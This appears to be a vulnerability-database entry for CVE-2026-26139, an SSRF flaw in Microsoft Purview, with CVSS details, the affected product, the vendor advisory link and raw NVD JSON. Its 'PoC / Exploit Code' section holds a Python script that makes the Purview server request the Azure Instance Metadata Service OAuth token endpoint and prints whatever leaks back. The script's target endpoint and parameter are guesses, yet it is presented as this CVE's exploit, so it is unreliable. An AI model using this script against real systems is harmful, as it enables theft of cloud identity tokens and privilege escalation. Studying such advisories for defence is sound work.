Security Vulnerability Report
中文
CVE-2026-26139 CVSS 8.6 HIGH

CVE-2026-26139

Published: 2026-03-19 21:17:08
Last Modified: 2026-03-24 17:14:00

Description

Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:purview:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Purview (具体受影响版本请参考官方安全通告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable Microsoft Purview endpoint # Replace with the actual vulnerable endpoint found during reconnaissance target_url = "https://<purview-instance-domain>/api/v1/scan" # Malicious payload pointing to an internal service # Example: Attempting to access Azure Instance Metadata Service (IMDS) # or an internal admin panel to escalate privileges internal_target = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01" # Construct the payload based on the vulnerable parameter (e.g., 'url', 'target', 'link') payload = { "name": "Internal Scan", "url": internal_target, "properties": {} } try: # Sending the SSRF request # Note: SSL verification might be disabled if using internal IPs response = requests.post(target_url, json=payload, verify=False, timeout=10) # Check if the request indicates success or leaked data if response.status_code == 200: print("[+] Potential SSRF triggered!") print("[+] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") print("[+] Response Body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26139", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:08.377", "lastModified": "2026-03-24T17:14:00.070", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Falsificación de petición del lado del servidor (SSRF) en Microsoft Purview permite a un atacante no autorizado elevar privilegios sobre una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:purview:-:*:*:*:*:*:*:*", "matchCriteriaId": "7387D350-6697-4865-BF5B-1D36F1B1A8DF"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26139", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}